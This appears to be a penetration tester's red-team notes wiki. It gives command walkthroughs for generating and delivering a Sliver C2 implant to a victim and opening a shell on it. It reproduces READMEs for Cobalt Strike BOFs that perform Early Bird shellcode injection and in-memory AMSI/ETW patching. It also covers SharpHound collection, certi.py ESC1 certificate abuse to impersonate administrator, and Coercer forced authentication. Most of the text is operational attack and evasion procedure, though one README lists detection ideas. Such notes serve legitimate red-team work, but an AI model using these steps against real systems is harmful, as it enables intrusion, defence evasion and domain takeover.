![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FZVNAyHV4f4MP0nrtaFWL%2Fimage.png?alt=media\&token=7a9db059-4128-4c0a-ab57-4d5dd9a5af34)

Install the required libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FxFA4DrScpXpUJCFOoYpE%2Fimage.png?alt=media\&token=93db8a62-f6a7-4352-917e-bd1734491c01)

Try to run the application

$ sudo ./sliver-client

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FW8nwK9esjlpsMdn6rCyK%2Fimage.png?alt=media\&token=a99954f1-d096-416b-bda8-b3fec7dacef3)

This is where you will need to copy that .cfg file. Copy the file into /home/kali/,sliver-client/configs

Try to run the application again

$ sudo ./sliver-client

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FIAmKcbaYpiVE8If7ebwW%2Fimage.png?alt=media\&token=3c6ae203-b6b0-4220-a8b7-661b8c3d86ad)

We are logged into that player!&#x20;

## How to Use Sliver

$ help

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FNJbuo4m894AWTcufwH3y%2Fimage.png?alt=media\&token=ca2f87fc-2edd-41ee-adc9-a1588fb881f0)

Display players database:

$ players

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FHeeFGMTNlEw8FX1bg38g%2Fimage.png?alt=media\&token=a6e89950-f7a2-4fe9-bbd4-e6c14f8b9244)

To create new players accounts, this can only be run from the sliver server not the client

$ new-player --operator \<username>  --lhost \<DNS or IP of the server>

Display the Sliver version

$ version

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FsxOLMT2xADSq6YLbxzQx%2Fimage.png?alt=media\&token=f8c56cd7-28d5-4a53-a672-46a3f47af157)

## Generating Payload steps

We need to Generate an Implant (mtls, http, dns), this will generate a file saved at the location specified generate Generate a sliver binary. Lets do MTLS.

$ generate --mtls 192.168.0.21 --save ./file.exe --os Windows

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FIznKheS156F80Xp51aTS%2Fimage.png?alt=media\&token=cd6f65d3-56d0-46f0-9518-30e140ea7dfd)

Now, we can start the listener. Types of listeners can be http, https, dns, and mtls

$ mtls

$ jobs

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FK8TpxJodUoKB3XttjyZE%2Fimage.png?alt=media\&token=b6b8ba88-b4dc-452a-a333-fd734e6543af)

Lets deliver the generated mtls exe and send to the user. Once the user executes teh payload, you will see this on your screen...

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FNsdRH2IPWRv8juZKDsRu%2Fimage.png?alt=media\&token=48c4de85-392f-427d-b61f-0456ea26ec2f)

Lets show all active sessions

$ sessions -h

$ sessions

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FMrtZVX0emLwy0XieKHSY%2Fimage.png?alt=media\&token=f4a5168e-0e62-49f3-80f5-0acb9f28be6c)

To kill the session, run...

$ session -k 1

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FWqUliIDF2QkDfZ2eHS7g%2Fimage.png?alt=media\&token=e885090d-656d-49ba-96ff-f4ecb4332be1)

To interact with the session, do...

$ sessions

$ session -i 7

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2F5i8beZUp1TiPxpOH0oVx%2Fimage.png?alt=media\&token=a0545560-dead-488e-884e-b70f3e64d5f9)

Running help you can see all the available commands to run

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FLSuR7acZfVNPKkIhk9Oi%2Fimage.png?alt=media\&token=efed15a4-f3e3-48b8-89b8-747a9d54903e)

Lets run some commands to test what you can do.&#x20;

$ whoami

$ info

$ shell

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FN4pMAmRRM0s7MXUJonQl%2Fimage.png?alt=media\&token=c322f08f-ce0d-4e3c-b05d-0998ce9b61df)

## Resources

<https://vk9-sec.com/how-to-set-up-use-c2-sliver/>


# Cobalt Strike

Everything and anything Cobalt Strike related!&#x20;


# BOFs and Aggressor Scripts

Listed below are a bunch of Beacon Object Files listed that can be used with Cobalt Strike when getting a callback.&#x20;

Also added are some aggressor scripts that can be used with cobaltstrike!


# Situational Awareness BOF

## Installation

$ git clone <https://github.com/trustedsec/CS-Situational-Awareness-BOF>

Go to Cobalt Strike Script Manager, Load, then navigate to the SA.cna file within the clone. Upload the SA.cna file to CS.&#x20;

## Interacting with Beacon&#x20;

Here is the list of commands that are inputted into Cobalt Strike.&#x20;

| command                  | Usage                                                                                                                     | notes                                                                                                                                                                                                            |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| arp                      | arp                                                                                                                       | Lists ARP table                                                                                                                                                                                                  |
| adcs\_enum               | adcs\_enum                                                                                                                | Enumerates CAs and templates in the AD using Win32 functions                                                                                                                                                     |
| adcs\_enum\_com          | adcs\_enum\_com                                                                                                           | Enumerates CAs and templates in the AD using ICertConfig COM object                                                                                                                                              |
| adcs\_enum\_com2         | adcs\_enum\_com2                                                                                                          | Enumerates CAs and templates in the AD using IX509PolicyServerListManager COM object                                                                                                                             |
| adv\_audit\_policies     | adv\_audit\_policies                                                                                                      | Retrieves advanced security audit policies                                                                                                                                                                       |
| cacls                    | cacls \[filepath]                                                                                                         | lists user permissions for the specified file, wildcards supported                                                                                                                                               |
| dir                      | dir \[directory] \[/s]                                                                                                    | List files in a directory. Supports wildcards (e.g. "C:\Windows\S\*") the CobaltStrike `ls` command                                                                                                              |
| driversigs               | driversigs                                                                                                                | enumerate installed services Imagepaths to check the signing cert against known edr/av vendors                                                                                                                   |
| enum\_filter\_driver     | enum\_filter\_driver \[opt:computer]                                                                                      | Enumerates all the filter drivers                                                                                                                                                                                |
| enumLocalSessions        | enumLocalSessions                                                                                                         | Enumerate the currently attached user sessions both local and over rdp                                                                                                                                           |
| env                      | env                                                                                                                       | Prints process environment variables                                                                                                                                                                             |
| findLoadedModule         | findLoadedModule \[modulepart] \[opt:procnamepart]                                                                        | Finds what processes \*modulepart\* is loaded into, optionally searching just \*procnamepart\*                                                                                                                   |
| get\_password\_policy    | get\_password\_policy \[hostname]                                                                                         | Gets target server or domain's configured password policy and lockouts                                                                                                                                           |
| ipconfig                 | ipconfig                                                                                                                  | Simply gets ipv4 addresses, hostname and dns server                                                                                                                                                              |
| ldapsearch               | ldapsearch \[query] \[opt: attribute] \[opt: results\_limit] \[opt: DC hostname or IP] \[opt: Distingished Name]          | Executes LDAP searches (NOTE: specify \*,ntsecuritydescriptor as attribute if you want all attributes + base64 encoded ACL of the objects, this can then be resolved using BOFHound)                             |
| listdns                  | listdns                                                                                                                   | Pulls dns cache entries, attempts to query and resolve each                                                                                                                                                      |
| listmods                 | listmods \[opt: pid]                                                                                                      | List a process modules (DLL). Target current process if pid is empty. Complement to driversigs to determine if our process was injected by edr/av.                                                               |
| listpipes                | listpipes                                                                                                                 | Lists named pipes                                                                                                                                                                                                |
| locale                   | locale                                                                                                                    | Display system locale language, locale id, date/time, and country                                                                                                                                                |
| netstat                  | netstat                                                                                                                   | tcp / udp ipv4 netstat listing                                                                                                                                                                                   |
| netuser                  | netuser \[username] \[opt: domain]                                                                                        | Pulls info about specific user. Pulls from domain if a domainname is specified                                                                                                                                   |
| netuse\_add              | netuse\_add \[sharename] \[opt:username] \[opt:password] \[opt:/DEVICE:devicename] \[opt:/PERSIST] \[opt:/REQUIREPRIVACY] | bind a new connection to a remote machine                                                                                                                                                                        |
| netuse\_delete           | netuse\_delete \[device\|\|sharename] \[opt:/PERSIST] \[opt:/FORCE]                                                       | delete the bound device / sharename]                                                                                                                                                                             |
| netuse\_list             | netuse\_list \[opt:target]                                                                                                | list all bound share resources or info about target local resource                                                                                                                                               |
| netview                  | netview                                                                                                                   | Gets a list of reachable servers in the current domain                                                                                                                                                           |
| netGroupList             | netGroupList \[opt: domain]                                                                                               | Lists Groups from the default (or specified) domain                                                                                                                                                              |
| netGroupListMembers      | netGroupListMembers \[groupname] \[opt: domain]                                                                           | Lists group members from the default (or specified) domain                                                                                                                                                       |
| netLocalGroupList        | netLocalGroupList \[opt: server]                                                                                          | List local groups from the local (or specified) computer                                                                                                                                                         |
| netLocalGroupListMembers | netLocalGroupListMembers \[groupname] \[opt: server]                                                                      | Lists local groups from the local (or specified) computer                                                                                                                                                        |
| nslookup                 | nslookup \[hostname] \[opt:dns server] \[opt: record type]                                                                | <p>Makes a dns query.<br>dns server is the server you want to query (do not specify or 0 for default)<br>record type is something like A, AAAA, or ANY. Some situations are limited due to observed crashes.</p> |
| probe                    | probe \[host] \[port]                                                                                                     | Check if port is open                                                                                                                                                                                            |
| reg\_query               | \[opt:hostname] \[hive] \[path] \[opt: value to query]                                                                    | queries a registry value or enumerates a single key                                                                                                                                                              |
| reg\_query\_recursive    | \[opt:hostname] \[hive] \[path]                                                                                           | recursively enumerates a key starting at path                                                                                                                                                                    |
| routeprint               | routeprint                                                                                                                | prints ipv4 configured routes                                                                                                                                                                                    |
| schtasksenum             | schtasksenum \[opt: server]                                                                                               | Enumerates all scheduled tasks on the local or if provided remote machine                                                                                                                                        |
| schtasksquery            | schtasksquery \[opt: server] \[taskpath]                                                                                  | Queries the given task from the local or if provided remote machine                                                                                                                                              |
| sc\_enum                 | sc\_enum \[opt:server]                                                                                                    | Enumerates all services for qc, query, qfailure, and qtriggers info                                                                                                                                              |
| sc\_qc                   | sc\_qc \[service name] \[opt:server]                                                                                      | sc qc impelmentation in bof                                                                                                                                                                                      |
| sc\_qfailure             | sc\_qfailure \[service name] \[opt:server]                                                                                | Queries a service for failure conditions                                                                                                                                                                         |
| sc\_qtriggerinfo         | sc\_qtriggerinfo \[service name] \[opt:server]                                                                            | Queries a service for trigger conditions                                                                                                                                                                         |
| sc\_query                | sc\_query \[opt: service name] \[opt: server]                                                                             | sc query implementation in bof                                                                                                                                                                                   |
| sc\_qdescription         | sc\_qdescription \[service name] \[opt: server]                                                                           | sc qdescription implementation in bof                                                                                                                                                                            |
| tasklist                 | tasklist \[opt: server]                                                                                                   | Get a list of running processes including PID, PPID and ComandLine (uses wmi)                                                                                                                                    |
| whoami                   | whoami                                                                                                                    | simulates whoami /all                                                                                                                                                                                            |
| windowlist               | windowlist \[opt:all]                                                                                                     | lists visible windows in the current users session                                                                                                                                                               |
| wmi\_query               | wmi\_query query \[opt: server] \[opt: namespace]                                                                         | Run a wmi query and display results in CSV format                                                                                                                                                                |
| netsession               | netsession \[opt:computer]                                                                                                | Enumerates all sessions on the specified computer or the local one                                                                                                                                               |
| resources                | resources                                                                                                                 | Prints memory usage and available disk space on the primary hard drive                                                                                                                                           |
| uptime                   | uptime                                                                                                                    | Prints system boot time and how long it's been since then                                                                                                                                                        |
| vssenum                  | vssenum \[hostname] \[opt:sharename]                                                                                      | Enumerates shadow copies on some server 2012+ machines                                                                                                                                                           |


# HOLLOW BOF

#### Authors:

* Bobby Cooke ([@0xBoku](https://twitter.com/0xBoku))
* Justin Hamilton ([@JTHam0](https://twitter.com/JTHam0))
* Octavio Paguaga ([@OakTree\_\_](https://twitter.com/OakTree__))
* Matt Kingstone ([@n00bRage](https://twitter.com/n00bRage))

Beacon Object File (BOF) that spawns an arbitrary process from beacons memory in a suspended state, inject shellcode, hijack main thread with APC, and execute shellcode; using the Early Bird injection method taught by @SEKTOR7net in RED TEAM Operator: Malware Development Intermediate.

* [Sektor7 RED TEAM Operator: Malware Development Intermediate Course](https://institute.sektor7.net/courses/rto-maldev-intermediate/463257-code-injection/1435343-earlybird)

## Run from Cobalt Strike Beacon Console

* After compile import the hollow\.cna script into Cobalt Strikes Script Manager

```bash
beacon> help hollow
Synopsis: hollow /path/to/hollow/pe /local/path/to/shellcode.bin
beacon> hollow svchost.exe /Users/bobby.cooke/popCalc.bin
[*] HOLLOW - EarlyBird Remote Process Shellcode Injector (@0xBoku|github.com/boku7) | (@JTHam0|github.com/Rodion0)
[*]             (@n00bRage|github.com/josephkingstone) | (@OakTree__|github.com/git-oaktree)
[*] Reading shellcode from: /Users/bobby.cooke/popCalc.bin
[+] Success - Spawned process for svchost.exe at 5464 (PID)
[+] Success - Allocated RE memory in remote process 5464 (PID) at: 0x000001A83BEC0000
[+] Success - Wrote 280 bytes to memory in remote process 5464 (PID) at 0x000001A83BEC0000
[+] Success - APC queued for main thread of 5464 (PID) to shellcode address 0x000001A83BEC0000
[+] Success - Your thread was resumed and your shellcode is being executed within the remote process!
```

## Compile with x64 MinGW (only tested from macOS):

```bash
x86_64-w64-mingw32-gcc -c hollow.x64.c -o hollow.x64.o
```

## To Do List

* Refactor code to make it more modular/clean
* Implement this into github.com/boku7/SPAWN
  * Combine this with the PPID spoofing and blockdll features of SPAWN

## Credits / References

* Credit/shoutout to: @SEKTOR7net + Raphael Mudge

#### Sektor7 Malware Dev Essentials course - learned how to do the early bird injection technique

* <https://institute.sektor7.net/red-team-operator-malware-development-essentials>

#### Raphael Mudge - Beacon Object Files - Luser Demo

* <https://www.youtube.com/watch?v=gfYswA\\_Ronw>

#### Cobalt Strike - Beacon Object Files

* <https://www.cobaltstrike.com/help-beacon-object-files>

#### BOF Code References

* <https://github.com/odzhan/injection/blob/master/syscalls/inject\\_dll.c>
* <https://github.com/ajpc500/BOFs/blob/main/SyscallsInject/entry.c>
* <https://github.com/ajpc500/BOFs/blob/main/SyscallsInject/syscalls\\_inject.cna>


# DLL\_Version\_Enumeration\_BOF

## What is this?

* This is a `Cobalt Strike` `BOF` file (a mildly massaged port of [@N4k3dTurtl3's](https://twitter.com/N4k3dTurtl3) existing PoC , meant to use ascertain information regarded imported `DLLs` (via the `ENTRY_RESOURCE`) within current process that your beacon associated with.

## What problem are you trying to solve?

1. Given my current projects regarding `DLLs`, this is yet another blindspot I wanted to address after seeing [@N4k3dTurtl3's](https://twitter.com/N4k3dTurtl3) work.
2. I wanted to support both `32-bit` AND `64-bit` `Beacon` sessions.
3. I wanted to have verbose or minified output, given an operator's desire
4. I wanted to keep the original design of [@N4k3dTurtl3's](https://twitter.com/N4k3dTurtl3) intact; minimal API calls.
   1. This is solved this by rolling our own from `grok`ed or `cribbed` implementations elsewhere.

## How do I build this?

1. In this case, you have two options:
   1. Use the existing, compiled object file, located in the `dist` directory (AKA proceed to major step two)
   2. Compile from source via the `Makefile`
      1. `cd src`
      2. `make clean`
      3. `make`
2. Load the `Aggressor` file, in the `Script Manager`, located in the `dist` directory

## How do I use this?

* From a given `Beacon`:&#x20;

![](https://i.ibb.co/NmbygW4/Help-Text.png)

## Any known downsides?

* We're still using the `Win32` API and `Dynamic Function Resolution`. This is for you to determine as far as "risk", though this is limited to a single comparison function (`stricmp`).
* You may attempt to incur a privileged action without sufficient requisite permissions. I can't keep you from burning your hand.

## What does the output look like?

#### All known `DLL`s associated with the process

![](https://i.ibb.co/2MJWkx2/base-non-verbose.png)

#### Verbose output of the aforementioned

![](https://i.ibb.co/jRg2FKR/verbose-all.png)

#### Verbose output of the aforementioned with `needle`

![](https://i.ibb.co/bKqMrTN/Verbose-Needle.png)


# InlineExecute-Assembly BOF

## InlineExecute-Assembly

InlineExecute-Assembly is a proof of concept Beacon Object File (BOF) that allows security professionals to perform in process .NET assembly execution as an alternative to Cobalt Strikes traditional fork and run execute-assembly module. InlineExecute-Assembly will execute any assembly with the entry point of `Main(string[] args)` or `Main()`. This should allow you to run most released tooling without any prior modification needed.

The BOF will automatically determine which Common Language Runtime (CLR) is needed to be loaded into the process for your assembly (v2.0.50727 or v4.0.30319) prior to execution and in most cases, should exist gracefully if any issues arise. The BOF also supports several flags which allow the operator to dictate several behaviors prior to .NET execution which include, disabling AMSI via in memory patching, disabling and restoring ETW via in memory patching, customization of the CLR App Domain name to be created, whether to create and direct console output of your assembly to a named pipe or mailslot, and allows the operator to switch the default entry point of Main(string\[] args) to Main(). More details on usage, use cases, and possible detections can be found below and <https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/>.

Lastly the advantage of executing our .NET assemblies in the same process as our beacon implant is that we avoid the default behavior of Cobalt Strike's execute-assembly module which creates a new process to then load/inject the CLR/.NET assembly. However, other opsec considerations still exist, for example, does the process we are executing within normally load the CLR or does the .NET assembly we are executing have any known signatures? Therefore, the disadvantage is that if something does get detected and killed, for example by AMSI, your beacon is also killed.

## Subject References

This tool wouldn't exist without being able to piggyback off some really great research, tools, and code already published by members of the security community. So thank you. Lastly, if you feel anyone has been left out below, please let me know and I will be sure to get them added.

* HostingCLR - [here](https://github.com/etormadiv/HostingCLR) - CLR/Executing assembly logic
* Dotnet-Loader-Shellcode - (by [@modexpblog](https://twitter.com/modexpblog)) - [here](https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/) - All around great research including on COM Interfaces for executing .NET in C -> Real MVP
* Donut - (by [@TheRealWover](https://twitter.com/TheRealWover) and [@modexpblog](https://twitter.com/modexpblog)) - [here](https://github.com/TheWover/donut) - COM Interfaces Header
* Memory Patching AMSI Bypass - (by [@\_RastaMouse](https://twitter.com/_RastaMouse)) - [here](https://rastamouse.me/memory-patching-amsi-bypass/) - AMSI memory patching research
* Metasploit-Execute-Assembly - (by [@b4rtik](https://twitter.com/b4rtik)) - [here](https://github.com/b4rtik/metasploit-execute-assembly) - Modified AMSI patching and used find .NET version function
* ExecuteAssembly - (by [@med0x2e](https://twitter.com/med0x2e))- [here](https://github.com/med0x2e/ExecuteAssembly) - Modified aggressor script
* Hiding Your .NET ETW - (by [@*xpn*](https://twitter.com/_xpn_)) - [here](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/) - Great ETW research
* ETW BOF - (by [@ajpc500](https://twitter.com/ajpc500))- [here](https://github.com/ajpc500/BOFs/tree/main/ETW) - Modified ETW patching
* ExecuteAssembly\_Mailslot - (by [@N4k3dTurtl3](https://twitter.com/N4k3dTurtl3))- [here](https://github.com/N4kedTurtle/ExecuteAssembly_Mailslot) - Modified using mailslots for console redirection
* [@freefirex2](https://twitter.com/freefirex2) - Was kind enough to share some good BOF inner workings and gotcha's.

### Getting Started

1. Copy the inlineExecute-Assembly folder with all of its contents to a system you plan to connect with via the Cobalt Strike GUI application.
2. Load in the inlineExecute-Assembly.cna Aggressor script
3. Run inlineExecute-Assembly --dotnetassembly /path/to/assembly.exe for most basic execution (see use cases below for specific flag examples)

#### Build Your Own

Run the below command inside the src directory via x64 Native Tools Command Prompt for VS 2019

```
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx64.o
```

Run the below command inside the src directory via x86 Native Tools Command Prompt for VS 2019

```
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx86.o
```

#### Flags

```
--dotnetassembly        Directory path to your assembly **required**
--assemblyargs          Assembly arguments to pass
--appdomain             Change default name of AppDomain sent (default value is totesLegit and is set via the included aggressor script) *Domain always unloaded*
--amsi                  Attempts to disable AMSI via in memory patching (If successful AMSI will be disabled for the entire life of process)
--etw                   Attempts to disable ETW via in memory patching (If successful ETW will be disabled for the entire life of process unless reverted)
--revertetw             Attempts to disable ETW via in memory patching and then repatches it back to original state
--pipe                  Change default name of named pipe (default value is totesLegit and is set via the included aggressor script)
--mailslot              Switches to using mailslots to redirect console output. Changes default name of mailslot (If left blank, default value is totesLegit and is set via the included aggressor script)
--main                  Changes entry point to Main() (default value is Main(string[] args))
```

#### Use Case

> *Execute .NET assembly*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe
```

#### Use Case

> *Execute .NET assembly with arguments*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker
```

#### Use Case

> *Execute .NET assembly with arguments and disable AMSI*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi
```

#### Use Case

> *Execute .NET assembly with arguments and disable ETW*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --etw
```

#### Use Case

> *Execute .NET assembly with arguments and redirect output via mailslots instead of the default named pipe*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --mailslot
```

#### Use Case

> *Execute .NET assembly with arguments and change the default named pipe name set in the aggressor script*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --pipe forRealLegit
```

#### Use Case

> *Execute .NET assembly and change the default app domain set in the aggressor script*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --appdomain forRealLegit
```

#### Use Case

> *Execute .NET assembly with Main() entry point instead of the default Main(string\[] args)*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/simpleMain.exe --main
```

#### Use Case

> *Go HAM*

#### Syntax

```
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi --etw --appdomain forRealLegit --mailslot forRealLegit
```

### Caveats

1. While I have tried to make this as stable as possible, there are no guarantees things will never crash and beacons won’t die. We don’t have the added luxury of fork and run where if something goes wrong our beacon lives. This is the tradeoff with BOFs. With that said, I can’t stress how important it is that you test your assemblies beforehand to make sure they will work properly with the tool.
2. Since the BOF is executed in process and takes over the beacon while running, this should be taken into account before being used for long running assemblies. If you choose to run something that will take a long time to get back results, your beacon will not be active to run more commands till the results come back and your assembly finishes running. This also doesn’t adhere to sleep set. For example, if your sleep is set at 10 minutes and you run the BOF, you will get results back as soon as the BOF finishes executing.
3. Unless modification is done to tools that load PE’s in memory (e.g., SafetyKatz), these will most likely kill your beacon. Many of these tools work fine with execute assembly because they are able to send their console output from the sacrificial process before exiting. When they exit via our in process BOF, they kill our process, which kills our beacon. These can be modified to work but I would advise running these types of assemblies via execute assembly since other non-OPSEC friendly things could be loaded into your process that don’t get removed.
4. If your assembly uses Environment.Exit this will need to be removed as it will kill the process and beacon.
5. Named pipes and mail slots need to be unique. If you don’t receive data back and your beacon is still alive, the issue is most likely you need to select a different named pipe or mail slot name.

### Detection

Some detection and mitigation strategies that could be used:

1. Uses PAGE\_EXECUTE\_READWRITE when performing AMSI and ETW memory patching. This was done on purpose and should be a red flag as very few programs have memory ranges with the memory protection of PAGE\_EXECUTE\_READWRITE.
2. Default name of named pipe created is totesLegit. This was done on purpose and signature detections could be used to flag this.
3. Default name of mailslot created is totesLegit. This was done on purpose and signature detections could be used to flag this.
4. Default name of AppDomain loaded is totesLegit. This was done on purpose and signature detections could be used to flag this.
5. Good tips on detecting malicious use of .NET (by [@bohops](https://twitter.com/bohops)) [here](https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/), (by F-Secure) [here](https://blog.f-secure.com/detecting-malicious-use-of-net-part-1/), and [here](https://blog.f-secure.com/detecting-malicious-use-of-net-part-2/)
6. Looking for .NET CLR loading into suspicious processes, such as unmanaged processes which should never have the CLR loaded.
7. Event Tracing [here](https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing)
8. Looking for other known Cobalt Strike Beacon IOC's or C2 egress/communication IOC's.


# BOF.NET

{% embed url="<https://github.com/CCob/BOF.NET>" %}


# C2-Tool-Collection BOFs

{% embed url="<https://github.com/outflanknl/C2-Tool-Collection>" %}


# Inline-Execute-PE

{% embed url="<https://github.com/Octoberfest7/Inline-Execute-PE>" %}


# Payloads

Some nice payloads to test with Phishing / Cobalt Strike.&#x20;

#### Only people who are apart of the company I work for can see the private github repo of my notes. Some of the notes are mine, some are part of the company so I have decided to leave this portion private. However, here are some helpful resources that create awesome payloads....

{% embed url="<https://github.com/optiv>" %}

{% embed url="<https://github.com/rasta-mouse>" %}

{% embed url="<https://github.com/mdsecactivebreach>" %}


# Tools

Mostly tool commands and one liners to help remember for assessments :smile: Also, fair warning: This page has a lot of read me's added! \
\
*Disclaimer: some of the commands are mine, but most are scraped from the web and others. I will try to include all the resources to give credit where credit is due.*


# Internal Tools

All listed Active Directory / Internal tools listed below!


# BloodHound

## Bloodhound - Simple

$ sudo apt-get update

$ sudo apt install bloodhound

$ sudo neo4j console

Click the localhost link and sign into neo4j, then sign in

(Default creds are neo4j/neo4j. Recommended to change them)

Now, simply type $ bloodhound into the terminal and it should pop up with sign in credentials!&#x20;

## BloodHound Python Ingestor

* [ ] git clone <https://github.com/fox-it/BloodHound.py>
* [ ] cd /BloodHound.py
* [ ] python setup.py install
* [ ] python bloodhound.py -d -u -p -dc -gc -ns -c All,Session -v

## SharpHound - Data Collection for Windows

* [ ] Configure your system DNS server to be the IP address of a domain controller in the target domain
* [ ] Spawn a CMD shell as a user in that domain using *runas* and its */netonly* flag, like so:\
  C:\\> runas /netonly /user:CONTOSO\TestUser cmd.exe
* [ ] You will be prompted to enter a password. Enter the password and hit enter.
* [ ] A new CMD window will appear. If you type *whoami*, you will not see the name of the user you’re impersonating. This is because of the */netonly* flag: the instance of CMD will only authenticate as that user when you authenticate to other systems over the network, but you are still the same user you were before when authenticating locally.
* [ ] Verify you’ve got valid domain authentication by using the *net* binary:

  C:\\> net view \\\contoso\\
* [ ] If you can see the SYSVOL and NETLOGON folders, you’re good. Run SharpHound, using the *-d* flag to specify the AD domain you want to collect information from. You can also use any other flags you wish.                                                                                                                       C:\\> SharpHound.exe -d contoso.local

## After BloodHound is Running with Imported Data

Look for:

Sessions, servers within DA path, Users within DA path, Users linked with DA, Misconfigured AD structures.

i.e. DA accounts should only be restricted to logging into the Domain Controller - if not this is a misconfig

i.e Server Admins should be broken up -> Admin Accounts vs. Service Accounts Rights - if not this is a misconfig sessions

If no sessions, try to re-do the data collection

## Cypher Query Language and Statistics

Go to <http://localhost:7474>

#### Custom queries

<https://github.com/hausec/Bloodhound-Custom-Queries>

## BloodHound C2

* [ ] execute-assembly /path/to/sharphound.exe --CollectionMethod All --NoSaveCache --CompressData
* [ ] powershell-import sharphound.ps1
* [ ] powerpick Invoke-BloodHound -CollectionMethod Session -LoopDelay 120 MaxLoopTime 0d0h10m0s
* [ ] powerpick Invoke-BloodHound --CollectionMethod All --NoSaveCache --RandomFilenames
* [ ] powerpick Invoke-BloodHound --CollectionMethod All
* [ ] Download Bloodhound.zip

<br>

\ <br>


# Certi

Certi.py can be leveraged with any set of credentials (or TGT) on an Active Directory domain to enumerate AD CS information from a remote Linux host.

{% embed url="<https://github.com/zer1t0/certi>" %}

## Setup

* [ ] git clone <https://github.com/zer1t0/certi>
* [ ] cd certi
* [ ] python3 -m venv venv
* [ ] -venv/bin/activate
* [ ] pip3 install -r requirements.txt

## Listing all Certificate Templates

\-- python3 certi.py list domain.local/user:pass

## Listing all Vulnerable Certificate Templates

\-- python3 certi.py list domain.local/user:pass -vuln

## Enrolling in a Certificate Template Vulnerable to ESC1

\-- python3 certi.py req domain.local/user\@ca.domain.local \<CA Service Name> -k -n -alt-name administrator -template \<vulnerable template>&#x20;


# Coercer

{% embed url="<https://github.com/p0dalirius/Coercer>" %}

A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.\
![GitHub release (latest by date)](https://img.shields.io/github/v/release/p0dalirius/Coercer) [![](https://img.shields.io/twitter/follow/podalirius_?label=Podalirius\&style=social)](https://twitter.com/intent/follow?screen_name=podalirius_) [![YouTube Channel Subscribers](https://img.shields.io/youtube/channel/subscribers/UCF_x5O7CSfr82AfNVTKOv_A?style=social)](https://www.youtube.com/c/Podalirius_?sub_confirmation=1)<br>

### Features

* [x] Automatically detects open SMB pipes on the remote machine.
* [x] Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine.
* [x] Analyze mode with `--analyze`, which only lists the vulnerable protocols and functions listening, without performing a coerced authentication.
* [x] Perform coerce attack on a list of targets from a file with `--targets-file`
* [x] Coerce to a WebDAV target with `--webdav-host` and `--webdav-port`

### Usage

```
$ ./coercer.py -h                                                                                                  

       ______                              
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v1.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

